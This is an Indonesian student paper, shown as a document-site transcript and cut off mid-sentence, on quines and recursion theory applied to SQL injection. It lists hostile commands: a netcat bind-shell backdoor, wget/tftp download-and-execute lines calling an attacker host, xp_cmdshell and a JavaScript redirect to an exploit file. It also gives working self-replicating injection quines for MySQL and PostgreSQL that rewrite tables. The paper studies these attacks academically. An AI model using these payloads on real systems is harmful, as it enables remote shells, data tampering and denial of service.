“aplikasi quin pa a sql” - muqtafi.files.wordpress.com · makalah ini berisikan implementasi...

17
1 “APLIKASI QUINE PADA SQL” Muqtafi Akhmad (13508059) Program Studi Teknik Informatika Institut Teknologi Bandung e-mail: [email protected] Abstrak Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep mesin Turing klasik mulai dari model mesin Turing hingga hubungan dari mesin Turing dengan fungsi rekursif. Kemudian kita akan membahas quine mulai dari pengenalan, eksploitasi yang dapat dihasilkan, dan teknik penulisan querySQL dengan quine pada lingkungan DBMS MySQL dan PostgreSQL. Kemudian kita akan melakukan pengujian apakah quine cukup efektuf untuk diaplikasikan pada serangan SQL query injection. Kata kunci : quine, SQL, query, basisdata, relasi, eksploitasi 1. Pendahuluan Perkembangan internet mempermudah akses kita dengan informasi yang ada di jaringan web. Dengan internet semua informasi dapat diakses dengan mengetahui indentifier, yang berupa URL, dari dokumen, resource, atau service untuk dimanfaatkan. Akan tetapi, dengan adanya kemudahan akses kita ke informasi di internet juga berarti kemudahan orang lain untuk akses informasi yang kita miliki. Seringkali attacker mencari-cari celah dari aplikasi / service yang kita miliki untuk kemudian dieksploitasi atau dicuri informasinya dengan berbagai modus. Salah satu modus yang sering dipakai oleh attacker untuk menyerang website adalah SQL injection, yaitu menyisipkan query SQL ke data input sehingga dapat menembus ke aplikasi dan tereksekusi di server sebagai query dari aplikasi. Melalui query SQL attacker dapat melakukan penambahan tuple pada relasi, penghapusan tuple, pengubahan data bahkan menghapus relasi atau basisdata. Quine, program yang dapat menuliskan listing program itu sendiri, adalah salah satu contoh mekanisme untuk melakukan eksekusi query secara berulang-ulang. Dengan penggunaan teknik quine, query SQL yang dituliskan dapat dieksekusi berkali-kali di server dan efeknya teramplifikasi dan mampu menimbulkan kerusakan yang fatal. Dalam makalah ini akan dibahas konsep mengenai mesin Turing, fungsi rekursif, dan quine. Kemudian dilanjutkan dengan aplikasi quine pada query SQL dan pengujiannya. 2. Dasar Teori 2.1.Mesin Turing 2.1.1. Mesin Turing dan Fungsi Rekursif Sebuah mesin Turing M terdiri dari tiga komponen :

Upload: ngonhi

Post on 03-Mar-2019

228 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

1

“APLIKASI QUINE PADA SQL”

Muqtafi Akhmad (13508059)

Program Studi Teknik Informatika

Institut Teknologi Bandung

e-mail: [email protected]

Abstrak Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai

dengan pengenalan konsep mesin Turing klasik mulai dari model mesin Turing hingga hubungan dari

mesin Turing dengan fungsi rekursif. Kemudian kita akan membahas quine mulai dari pengenalan,

eksploitasi yang dapat dihasilkan, dan teknik penulisan querySQL dengan quine pada lingkungan DBMS

MySQL dan PostgreSQL. Kemudian kita akan melakukan pengujian apakah quine cukup efektuf untuk

diaplikasikan pada serangan SQL query injection.

Kata kunci : quine, SQL, query, basisdata, relasi, eksploitasi

1. Pendahuluan Perkembangan internet mempermudah akses kita dengan informasi yang ada di jaringan web.

Dengan internet semua informasi dapat diakses dengan mengetahui indentifier, yang berupa URL,

dari dokumen, resource, atau service untuk dimanfaatkan. Akan tetapi, dengan adanya kemudahan

akses kita ke informasi di internet juga berarti kemudahan orang lain untuk akses informasi yang kita

miliki. Seringkali attacker mencari-cari celah dari aplikasi / service yang kita miliki untuk kemudian

dieksploitasi atau dicuri informasinya dengan berbagai modus.

Salah satu modus yang sering dipakai oleh attacker untuk menyerang website adalah SQL injection,

yaitu menyisipkan query SQL ke data input sehingga dapat menembus ke aplikasi dan tereksekusi di

server sebagai query dari aplikasi. Melalui query SQL attacker dapat melakukan penambahan tuple

pada relasi, penghapusan tuple, pengubahan data bahkan menghapus relasi atau basisdata.

Quine, program yang dapat menuliskan listing program itu sendiri, adalah salah satu contoh

mekanisme untuk melakukan eksekusi query secara berulang-ulang. Dengan penggunaan teknik

quine, query SQL yang dituliskan dapat dieksekusi berkali-kali di server dan efeknya teramplifikasi

dan mampu menimbulkan kerusakan yang fatal. Dalam makalah ini akan dibahas konsep mengenai

mesin Turing, fungsi rekursif, dan quine. Kemudian dilanjutkan dengan aplikasi quine pada query SQL

dan pengujiannya.

2. Dasar Teori 2.1.Mesin Turing

2.1.1. Mesin Turing dan Fungsi Rekursif

Sebuah mesin Turing M terdiri dari tiga komponen :

Page 2: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

2

sebuah memory atau unit penyimpanan, biasanya diasosiasikan dengan sebuah tape. Tape

memiliki panjang tak terhingga dan terbagi atas sel-sel. Setiap sel berisi satu simbol pada

tiap waktu, dipilih dari anggota himpunan simbol terhingga (alfabet). Sebuah sel blank jika

tidak berisi simbol apapun, tetapi dalam setiap kasus akan selalu terdapat sejumlah sel yang

tidak blank. Awalnya, tape berisi data input, kemudian di akhir pemrosesan tape akan berisi

data output dan selama komputasi tape akan menampung data sementara (temporary

data).

kepala untuk melakukan baca dan tulis (read/write head) yang bergerak ke kiri atau kanan

pada tape, satu sel pada tiap waktu. Kepala dapat membaca isi dari current cell atau

menuliskan simbol padanya (dengan terlebih dahulu menghapus simbol pada sel tersebut).

sebuah control function yang mengatur pergerakan kepala pembacaan. Sebuah area

memory yang berisi state lengkap dari mesin dan semua instruksi spesifik ke

permasalahan diproses oleh control function. Setiap gerakan dan aksi dari kepala

pembacaan ditentukan oleh isi dari area memory dan current cell. Untuk lebih spesifik

control function terbagi dari dua fungsi : sebua fungsi state yang memiliki peran untuk meng-

update state internal dari F dan sebuah fungsi untuk menghasilkan simbol keluaran. Operasi

dasar yang dapat dilakukan kepala pembacaan yang dapat dilakukan satu pada satu satuan

waktu adalah :

o bergerak ke next cell ke kanan dari tape

o bergerak ke next cell ke kiri dari tape

o tidak bergerak, komputasi selesai, mesin halt

o menulis simbol ke current cell

Kerja dari mesin dapat disederhakan menjadi tiga langkah :

Reading step : isi dari current cell dibaca dan dikirimkan ke control function

Gambar 1 Sketsa dari sebuah mesin Turing

Computing step : update dari state internal fungsi berdasarkan state sekarang dan nilai

input .

Operation step:melakukan sebuah operasi berdasarkan dari state sekarang dan nilai input .

Walaupun primitif, model sederhana ini dapat mengekspresikan algoritma dan menyimulasikan

bahasa pemrograman apapun.

Page 3: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

3

Definisi 1

Sebuah mesin Turing adalah sebuah fungsi yang untuk beberapa bilagan asli , dapat didefinisikan

sebagai

Himpunan adalah ruang state dari mesin , himpunan adalah dua simbol yang

dapat disimpan dalam sel , dan adalah himpunan kemungkinan arah gerak operasi baca/tulis

(ke kanan atau ke kiri).

Apa hubungan antara representasi formal ini dengan operasi praktis dari sebuah mesin Turing?

Perhatikan contoh berikut :

Gambar 2 Mesin Turing menghitung penjumlahan dua integer

M(4, 1) = (0,R, 3) berarti ketika mesin berada pada state e4 ketika melakukan pembacaan current cell

dengan nilai 1 mesin akan menghapus angka 1 (dan meninggalkan angka 0) head akan digerakkan ke

kanan dan lanjut ke instruksi e3. Jika nilai M(4, 1) tak terdefinisi, maka ketika mesin berada pada

state e4 dan mendapatkan 1 ketika membaca sel, mesin halt (berhenti).

Salah satu pertanyaan penting adalah apakah mungkin untuk menggambarkan setiap fungsi

dengan mesin tersebut? Dengan kata lain apakah ada fungsi yang tidak dapat digambarkan dengan

mesin Turing? Untuk menjawab pertanyaan ini kita akan menggunakan konsep dari fungsi rekursif.

Tanpa maksud mengurangi lingkup persoalan, kita membatasi pembahasan pada bilangan asli

yang dinotasikan sebagai fungsi parsial ke-k (karena definisi dari domain dapat hanya subset dari

dan sebuah fungsi dianggap total jika domainnya berada pada ). Input dari fungsi

tersebut dapat dikodekan dalam mesin Turing dengan string berikut :

Definisi 2

Sebuah fungsi parsial ke-k f dikatakan rekursif jika terdapat mesin Turing sehingga ketika

dijalankan pada instruksi awal e0 dan melakukan pembacaan pada simbol paling kiri dari C, maka :

Page 4: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

4

1. Jika f (x1,x2,...,xk) terdefinisi, maka halt dan tape berisi string dengan nilai f(x1,x2,...,xk) (kepala

pembacaan membaca simbol palingkiri dari string ini dengan tape blank di kanan dari string)

2. Jika f(x1,x2,...,xk) tidak terdefinisi, maka tidak akan halt.

Maka, sebuah fungsi rekursif adalah fungsi yang dapat dikomputasi secara efektif

Konsep dari fungsi rekursif diawali oleh Kurt Gödel. Istilah ‘recursive’ dikenalkan oleh Gödel untuk

sebuah fungsi f untuk menghasilkan nilai f(n+1) dari f(n).

Teorema 1 (Recursive functions cardinality)

Terdapat ℵ0 (a countable infinity of) fungsi rekursif parsial dan terdapat tepat ℵ0 fungsi rekursif.

Semua fungsi konstan adalah rekursif (karena fungsi konstan adalah bentuk fungsi rekursif primitif)

Teorema 2 (Existence of non recursive functions)

Terdapat fungsi yang tidak rekursif

Dengan teorema ini kita tambahakn Definisi 2 sehingga dapat digeneralisasi ke relasi k-ary pada N,

dengan definisi berikut

Definisi 3

Sebuah relasi dikatakan “decidable” jika terdapat sebuah prosedur efektif yang, untuk setiap objek

, dapat memverifikasi jika benar atau salah. Jika decidable jika dan hanya jika fungsi

karakteristiknya rekursif, atau dapat dikomputasi secara efektif.

2.1.2. Mesin Turing Universal

Model dari mesin Turing sebagaimana yang telah kita bahas, tidak cukup untuk mendeskripsikan

perilaku dari komputer nyata. Sehingga dibutuhkan sebuah model efektif dengan konsep yang lebih

umum, yaitu Univeral Turing Machines (UTM).

Definisi 4

Sebuah mesin Turing universal (Universal Turing Machine, ) adalah mesin Turing yang ketika

melakukan proses sebuah input, dapat melakukan interpretasi input sebagai deskripsi dari mesin

Turing lain, , bersama dengan deskripsi dari input data untuk mesin tersebut. Fungsi dari

adalah untuk menyimulasikan perilaku dari melakukan proses untuk input . Kita dapat

menuliskan .

Bagaimana kita dapat mengubah masalah komputasi ke dalam konteks mesin Turing univesal?

Apakah proses encoding sendiri merupakan fungsi rekursif? Untuk menjawabnya, perhatikan dua

temuan berikut

Terdapat relasi ternary yang berlaku jika dan hanya jika e

adalah bilangan asli hasil encoding mesin Turing M dan y adalah computation record untuk

M dimulai dengan input data pada tapenya

Page 5: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

5

Terdapat sebuah fungsi rekursif U sehingga ketika berlaku

maka adalah nilai output dari komputasi.

Secara intuitif dapat dipahami bahwa decidable dan adalah fungsi rekursif. Kemudian dengan

mempertimbangkan bahwa

adalah fungsi parsial ke-k dengan adalah nilai terkecil sehingga

adalah benar

Teorema 3

1.Fungsi parsial ke- k+1 dengan nilai pada adalah adalah fungsi

rekursif

2.Untuk setiap , fungsi parsial ke – k, fungsi adalah rekursif

3.Setiap fungsi rekursif parsial ke-k bernilai sama dengan untuk beberapa

adalah index dari fungsi .

2.1.3. Fungsi Rekursif dan Virus

Hasil pembahasan sebelumnya telah memberikan kita sebuah model program komputer yang

powerful. Virus komputer pada dasarnya adalah instance dari program komputer yang memiliki

fungsionalitas dan fitur tertentu. Recursion theorem (Kleene, 1938) secara implisit memberikan kita

formalisasi pertama dari reproducing program, bertahun-tahun sebelm von Neumann memulai

penelitiannya pada self reproducing automata (yang dimulai pada tahun 1948). Dengan recursion

theorem, efektivitas dari program viral terbukti

Teorema 4 (Recursion Theorem)

Untuk fungsi rekursif total , terdapat sebuah integer sehingga

Teorema ini, dalam bentuk yang lebih umum, juga berlaku pada fungsi rekursif parsial. Pembuktian

untuk teorema ini adalah sebagai berikut :

Ambil sebuah integer , kemudian definisikan sebuah fungsi rekursif sebagai :

Dengan menggunakan himpunan instruksi yang encoded menggunakal bilangan Gödel .

Ketika memproses dirinya, jika hasilnya, dinotasikan dengan , terdefinisi, maka kita

menggunakan himpunan instruksi yang berasosiasi dengan dengan sebagai input, kemudian

menampilkan keluaran , jika terdefinisi.

Jelas bahwa instruksi untuk bergantung pada . Misalkan ambil sebagai fungsi rekursif yang

menghasilkan, dari , bilangan Gödel untuk instruksi fungsi . Kemudian

Page 6: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

6

Sekarang ambil sebuah fungsi rekursif . Kemudian , kombinasi / komposisi dari dan adalah

sebuah rekursif. Misalkan adalah bilangan Gödel untuk . Karena adalah fungsi rekursif

total total, maka . Maka, dengan mensubtstitusikan untuk pada definisi dari , kita

mendapatkan

sebagai hasilnya, karena .

Pada dasarnya, recursive theorem memungkinkan program untuk melakukan aksi dengan operasi

yang sama. Jika fungsi adalah fungsi identitas, salah satu contoh fungsi rekursif total

dengan mesinTuring merupakan mesin kosong, merupakan konsep dasar dari virus sederhana.

Untuk setiap fungsi , selain fungsi identitas, recursion theorem menjelaskannya dalam cara yang

sederhana mekanisme polimorfisme, sekitar lima puluh tahun sebelum Cohen dan Adleman

mengerjakan virus pertama pada komputer.

Salah satu aplikasi yang mirip dengan mekanisme pada virus adalah menuliskan program dengan

output source code program itu sendiri. Aplikasi ini lebih dikenal dengan nama “Quine”. Berikut

adalah contoh quine dalam bahasa C, hasil karya dari Joe Miller

p="p=%c%s%c;main(){printf(p, 34, p, 34);}"; main(){printf(p, 34, p, 34);}

2.2.Quine

2.2.1. Pengenalan Quine

Quine adalah sebuah program yang dapat mencetak listing source code-nya sendiri. Ini berarti ketika dijalankan, program akan mencetak sesuai dengan yang programmer tuliskan. Cara yang paling mudah untuk melakukannya adalah dengan membuka source code kemudian mencetaknya di layar, akan tetapi program mungkin tidak tahu di mana lokasi source file yang sebenarnya, program hanya memiliki akses ke data yang terkompilasi atau bahasa pemrograman tidak memperbolehkan operasi tersebut.

Ide dasar untuk menulis quine adalah

“Mungkin untuk sebuah program memanipulasi dirinya sendiri (contohnya representasi tekstualnya) atau representasi lain secara langsung “

Kemudian untuk merealisasikannya kita menuliskan program terdiri dari dua bagian, satu bagian memanggil kode dan satu yang lain memanggil data. Data merepresentasikan (bentuk tekstual) dari kode, dan diturunkan secara algoritmik (sebagian besar dengan cara menambahkan tanda kutip di awal dan akhir). Kode menggunakan data untuk mencetak kode kemudian menggunakan data untuk mencetak data itu sendiri. Untuk selanjutnya kita akan menggunakan istila “kode” dan “data” untuk mendeskripsikan bagian kode dan data dari quine sebagaimana yang dijelaskan. Pembedaan kode dan data pada quine sangat membantu, akan tetapi tidak selalu valid untuk semua situasi. Terkadang koda dan data tidak dapat dibedakan dengan baik, kode memainkan peran sebagai data dan sebaliknya.

Page 7: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

7

2.2.2. Fixed Point Theorem

Berbicara mengenai quine berarti berbicara mengenai fixed point theorem karena fixed point

theorem adalah inti dari quine itu sendiri. Sebelum membahas fixed point theorem, perlu bagi kita

untuk menyepakati hal-hal berikut :

Fungsi rekursif (dari beberapa variabel dan nilai integer) dapat dikomputasikan dengan sebuah program (misalkan mesin Turing), baik fungsi rekursif parsial ataupun total.

Kita akan menggunakan penomoran untuk mengasosikan program dengan sebuah integer. Kita menuliskan untuk hasil dari program ke- ketika diberikan sebuah input .

Dari universality theorem, fungsi parsial dikatakan sebagai sebuah fungsi dari yang nilainya dapat dihitung. Dengan kata lain, terdapat sebuah universal Turing machine yang dapat menginterpretasikan bahwa . Dengan kata lain, kita dapat mengkonstruksi sebuah program yang akan menerima program dengan beberapa argumen dan mengembalikan nilai balikan dari untuk argumen yang diberikan. Ini berarti adalah sebuah interpreter, yang membaca sebuah program dan menginterpretasikannya. Dengan kata lain universality theorem mengatakan eksistensi dari interpreter.

Smn theorem kebalikan dari universality theorem. Smn theorem menyatakan bahwa jika dapat dihitung. Dengan kata lain smn theorem mengatakan eksistensi dari fungsi rekursif sehingga . Smn theorem mengatakan jika kita

memiliki program dengan beberapa input, kita dapat (untuk setiap ) menghasilkan sebuah program yang akan bertindak sebagai .

Menggunakan smn theorem dan universality theorem kita dapat membuktikan fixed-point theorem. Bunyi fixed-point theorem :

“untuk setiap fungsi rekursif total yang computable terdapat sebuah index (program) sehingga ”

Dengan kata lain, ini berarti jika kita memiliki sehuah transformasi algoritmik dari pada program maka akan ada sebuah program yang mana program akan melakukan hal yang sama dengan program yang telah ditransformasikan.

Bagaimana fixed-point theorem membuktikan eksistensi dari quine? Jawabannya sederhana : untuk setiap program , misalkan terdapat program yang menuliskan kode dari . bersifat computable. Kemudian dari fixed-point theorem didapatkan bahwa jika terdapat sebuah program sehingga melakukan hal yang sama dengan (misalkan menuliskan kode program) maka dapat menuliskan kode program dari .

2.3.Eksploitasi Menggunakan SQL

Mungkin beberapa dari kita masih belum bisa membayangkan bahaya dari SQL jika disalahgunakan.

Modus yang paling sering digunakan adalah teknik SQL injection, di mana query SQL ‘dipaksakan’

untuk dieksekusi di mesin server. Berikut adalah bahaya / ancaman yang dapat ditimbulkan dari

query SQL yang di-inject-kan oleh attacker.

2.3.1. Menghapus Data

Attacker dapat menyisipkan kode-kode untuk menghapus relasi atau basisdata seperti DROP TABLE

atau DROP BASISDATA. Beberapa DBMS memungkinkan penggunaan pernyataan kondisional (IF ...

THEN ... ) yang memungkinkan attacker lebih leluasa dalam menghapus data.

Page 8: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

8

2.3.2. Denial of Service

Beberapa DBMS memiliki fitur untuk melakukan shutdown basisdata, contohnya Microsoft SQL

Server. Microsoft SQL Server menyediakan fungsi SHUTDOWN, yang memungkinkan shut down

basisdata dari SQL.

2.3.3. Membaca Data dari Basisdata

Misalkan kita memiliki query untuk melakukan updating data dari basisdata

UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'

Query tersebut dapat disusupi dengan query SELECT

'|| (SELECT ...) ||'

Dalam kasus ini, tanda petik digunakan untuk melakukan SQL injection dan menyebabkan data

diinterpretasikan sebagai kode. Operator ‘||’ adalah operator untuk melakukan konkatenasi string,

menambahkan query SELECT tersebut ke dalam basis data.

2.3.4. Mengeksekusi Shell Command

Microsoft SQL Server menyediakan prosedur xp_cmdshell yang memungkinkan eksekusi shell

command

EXEC Master..xp_cmdshell 'commands';

Secara default, hanya administrator yang memiliki privilege untuk mengeksekusinya, akan tetapi hal

ini masih bisa diatasi dengan pemberian access privilege menggunakan SQL injection yang lain.

2.3.5. Client Side Scripting

Bahaya yang ditimbulkan oleh client side scripting relatif lebih kecil karena browser hanya

menyediakan akses yang terbatas ke resource lokal komputer. Salah satu layanan yang disediakan

oleh browser adalah melakukan navigasi menuju sebuah URL spesifik. Menggunakan layanan ini

attacker dapat menggiring browser untuk membuka halaman yang mengandung konten berbahaya.

Berikut adalah contoh script javascript untuk berpindah ke URL yang

document.location='http://ip/exploit.wmf;

2.3.6. Backdoor Menggunakan Shell Command

Contohnya adalah pemasangan backdoor dengan netcat untuk listen pada sebuah TCP port dan

mengeprint data yang masuk. Data dapat di-pass ke sebuah instance dalam shell, untuk kemudian

dieksekusi seperti contoh berikut

netcat -lp1234|sh

yang listen pada port 1234.

System utility lain yang dapat digunakan adalah screen, yang membuat sebuah instance shell baru yang terlepas dari terminal dan berjalan sebagai sebuah daemon.

Page 9: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

9

screen -dmS t bash -c"while [ true ]; do netcat -lp1234|sh; done"

Contoh di atas melakukan exploit dalam sebuah infinite loop, yang memungkinkan attacker untuk connect ke backdoor berkali-kali.

2.3.7. Mengeksekusi Kode Menggunakan Shell Command

Contoh program yang dapat dipakai adalah wget (pada Linux) untuk mendownload program yang

ditulis oleh attacker, untuk kemudian dieksekusi

wget http://ip/myexploit -O /tmp/myexploit; chmod +x /tmp/myexploit;

/tmp/myexploit

Untuk windows dapat digunakan tftp

tftp -i ip GET myexploit.exe & myexploit

3. Analisis 3.1.Basisdata Pengujian

Untuk pengujian query SQL dengan quine digunakan dua buah basisdata, basis data yang pertama

adalah basisdata menyimpan informasi mengenai toko musik dan genre musik yang dijual di toko.

Basisdata diimplementasikan menggunakan DBMS MySQL. Basisdata yang kedua adalah basisdata

Northwind Traders, sebuah perusahaan fiktif import dan eksport makanan, sebuah contoh basisdata

yang digunakan oleh Microsoft untuk mendemonstrasikan fitur dari produk‐produknya, termasuk

SQL Server dan Microsoft Access. Basisdata Northwind Traders ini diimplementasikan dengan DBMS

PostgreSQL.

3.1.1. Basisdata Music Store

Gambar 3 Diagram relasional basisdata music store

Basisdata music store berisikan tiga relasi :

Shops : berisikan daftar toko musik yang ada

Genres : berisikan daftar genre musik yang disediakan oleh toko

Page 10: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

10

Shopgenres : berisikan relasi many-to-many antara shops dan genres memetakan genre musik yang

disediakan oleh toko

3.1.2. Basisdata Nothwind Traders

Gambar 4 Diagram relasi basisdata Northwind Traders

Basisdata Northwind Traders berisikan relasi berikut :

Categories : kategori makanan yang dijual oleh Northwind Traders. Berelasi one-to-many dengan products

Page 11: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

11

Customers : keterangan lengkap mengenai customer, meliputi nama, kontak, dan alamat. Satu

customer dapat memiliki lebih dari satu order, customers berelasi one-to-many dengan orders

Employees : keterangan mengenai pegawai Northwind Traders, meliputi nama, jabatan dan

informasi personal. Berelasi one-to-many dengan orders

Order_Details : detail produk, jumlah, dan harga untuk masing-masing order dalam relasi orders.

Berelasi many-to-one dengan orders dan many-to-one dengan products

Orders : berisi keterangan mengenai customer pemesan, tanggal pemesanan, dan biaya untuk

masing-masing order. Berelasi one-to-many dengan order_details dan many-to-one dengan

employees

Products : keterangan meliputi nama produk, supplier, harga, dan jumlah unit dalam stok. Berelasi

one-to-many dengan order_detail, many-to-one dengan suppliers, dan many-to-one dengan

categories

Shippers : jasa pengiriman barang. Berelasi one-to-many dengan orders

Suppliers : keterangan nama supplier, alamat, kontak, dan hyperlink ke home page situs milik

supplier. Berelasi one-to-many dengan products.

3.2.Pengujian SQL Quine

Pada pengujian akan digunakan query untuk melakukan updating isi relasi dengan SQL quine.

Updating dilakukan per tuple pada relasi dilakukan secara rekursif hingga akhir dari relasi.

3.2.1. Pengujian pada DBMS MySQL

Teknik pengujian pada DBMS MySQL :

1. Tulis sebuah variabel string untuk menyimpan query SQL lengkap dengan kokatenasi pada

variabel string ini sendiri.

2. Tulis query update, tambahkan konkatenasi variabel string pada akhir query untuk

menghasilkan quine.

Pertama melakukan updating field name pada relasi genre

SET @a='UPDATE genres SET name=concat(\'%content%\\\' WHERE

genreID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); --';

UPDATE genres SET name=concat('%content%\' WHERE genreID=\'%id%\'; SET

@a=', QUOTE(@a), '; ', @a); --

Pada query UPDATE di baris kedua baris kedua terdapat konkatenasi query dengan definisi variable string @a menggunakan fungsi QUOTE. Karena pada pada string @a terdapat definisi dari query UPDATE, maka dihasilkan query UPDATE baru yang identik dengan query asalnya, ketika query baru ini dieksekusi akan dihasilkan query berikutnya dan begitu seterusnya hingga akhir relasi.

Page 12: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

12

Gambar 5 Relasi genres sebelum eksekusi query update

Gambar 6 Eksekusi query update yang mengandung quine pada relasi genres

Gambar 7 Hasil eksekusi query quine update pada relasi genres

Kemudian menggunakan teknik yang sama melakukan pengujian query update pada relasi shops

dengan mengubah nilai field email.

SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE

shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); --';

Page 13: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

13

UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=',

QUOTE(@a), '; ', @a); --

Gambar 8 Relasi shops sebelum eksekusi query update

Gambar 9 Eksekusi query update yang mengandung quine pada relasi shops

Gambar 10 Hasil eksekusi query quine update pada relasi shops

3.2.2. Pengujian pada DBMS PostgreSQL

Teknik pengujian query quine pada PostgreSQL agak berbeda dengan pengujian pada DBMS MySQL,

cara pengujiannya adalah sebagai berikut :

1. Buat sebuah fungsi yang mengembalikan string query sekaligus pemanggilan dari fungsi itu

sendiri, mirip dengan variabel string pada saat pengujian di lingkungan DBMS MySQL

2. Tuliskan query update ditambah dengan (dituliskan di belakang tanda titik koma)

pendefinisian fungsi yang mengembalikan definisi string query

3. Setiap kali pendefinisian fungsi, tambahkan perintah DROP FUNCTION untuk menghapus

fungsi agar dapat di-create ulang, dipanggil, untuk kemudian dihapus kembali secara

berulang-ulang.

Berikut adalah fungsi dan contoh query update untuk mengubah isi dari atribut address pada relasi

customers.

CREATE FUNCTION changecustomeraddress() RETURNS text AS ' SELECT text

''UPDATE customers SET address=''''%content%'''''''' WHERE

customerid=''''''''%id%''''''''; CREATE FUNCTION changecustomeraddress()

RETURNS text AS '''''''' SELECT text '''''''''''' || quote_literal(trim

(both '''''''''''''''' from quote_literal(changecustomeraddress()))) ||

'''''''''''';'''''''' LANGUAGE SQL; '''' || changecustomeraddress(); DROP

FUNCTION changecustomeraddress();'';' LANGUAGE SQL;

Page 14: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

14

UPDATE customers SET address='%content%'' WHERE customerid=''%id%''; CREATE

FUNCTION changecustomeraddress() RETURNS text AS '' SELECT text ''' ||

quote_literal(trim (both '''' from quote_literal(changecustomeraddress())))

|| ''';'' LANGUAGE SQL; ' || changecustomeraddress(); DROP FUNCTION

changecustomeraddress(); --

Gambar 11 Relasi customers sebelum eksekusi query update

Gambar 12 Hasil eksekusi query update yang mengandung quine pada relasi customers

Kemudian menggunakan teknik yang sama melakukan pengujian untuk melakukan updating pada

relasi orders dengan mengubah nilai dalam field shipname.

CREATE FUNCTION changeshippers() RETURNS text AS ' SELECT text ''UPDATE

orders SET shipname=''''%content%'''''''' WHERE

orderid=''''''''%id%''''''''; CREATE FUNCTION changeshippers() RETURNS text

AS '''''''' SELECT text '''''''''''' || quote_literal(trim (both

'''''''''''''''' from quote_literal(changeshippers()))) ||

'''''''''''';'''''''' LANGUAGE SQL; '''' || changeshippers(); DROP FUNCTION

changeshippers();'';' LANGUAGE SQL;

UPDATE orders SET shipname='%content%'' WHERE orderid=''%id%''; CREATE

FUNCTION changeshippers() RETURNS text AS '' SELECT text ''' ||

quote_literal(trim (both '''' from quote_literal(changeshippers()))) ||

Page 15: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

15

''';'' LANGUAGE SQL; ' || changeshippers(); DROP FUNCTION changeshippers();

--

Gambar 13 Relasi orders sebelum eksekusi query update

Gambar 14 Hasil eksekusi query update yang mengandung quine pada relasi orders

3.2.3. Modifikasi pada Quine SQL

Dari contoh-contoh yang diberikan, kita hanya menjalankan sebuah query untuk kemudian diubah

ke dalam bentuk quine untuk mengulang dirinya melakukan akses hingga akhir relasi. Akan tetapi,

pemanfaatan quine pada SQL tidak hanya terbatas pada modifikasi satu query. Dalam satu quine

dapat dituliskan lebih dari satu query, dengan catatan query yang ditambahkan juga disalin ke

definisi string untuk dipanggil di pengulangan.

Contohnya ambil quine SQL pada MySQL yang melakukan updating nilai field email pada shops.

Dalam satu quine SQL, kita tambahkan query untuk mengubah field name pada shops dengan string

‘testingpayload’ sehingga quine SQL akan berubah sebagai berikut :

SET @a='UPDATE shops SET email=concat(\'%content%\\\' WHERE

shopID=\\\'%id%\\\'; SET @a=\', QUOTE(@a), \'; \', @a); UPDATE shops SET

name = \\\'testingpayload\\\'; --';

UPDATE shops SET email=concat('%content%\' WHERE shopID=\'%id%\'; SET @a=',

QUOTE(@a), '; ', @a); UPDATE shops SET name = 'testingpayload'; --

Page 16: “APLIKASI QUIN PA A SQL” - muqtafi.files.wordpress.com · Makalah ini berisikan implementasi quine pada query SQL dan pengujiannya. Pembahasan dimulai dengan pengenalan konsep

16

Quine di atas melakukan updating relasi shops pada dua field sekaligus, email dan name.

Gambar 15 Hasil eksekusi quine SQL pada relasi shops mengubah nilai dua field sekaligus

Dan dengan cara yang sama kita dapat melakukan query yang membutuhkan resource komputasi

lebih, contohnya query yang memanfaatkan operasi cartesian product. Quine SQL terakhir kita ubah

dengan menambahkan operasi seleksi seluruh field pada hasil cartesian product dari shops, genres,

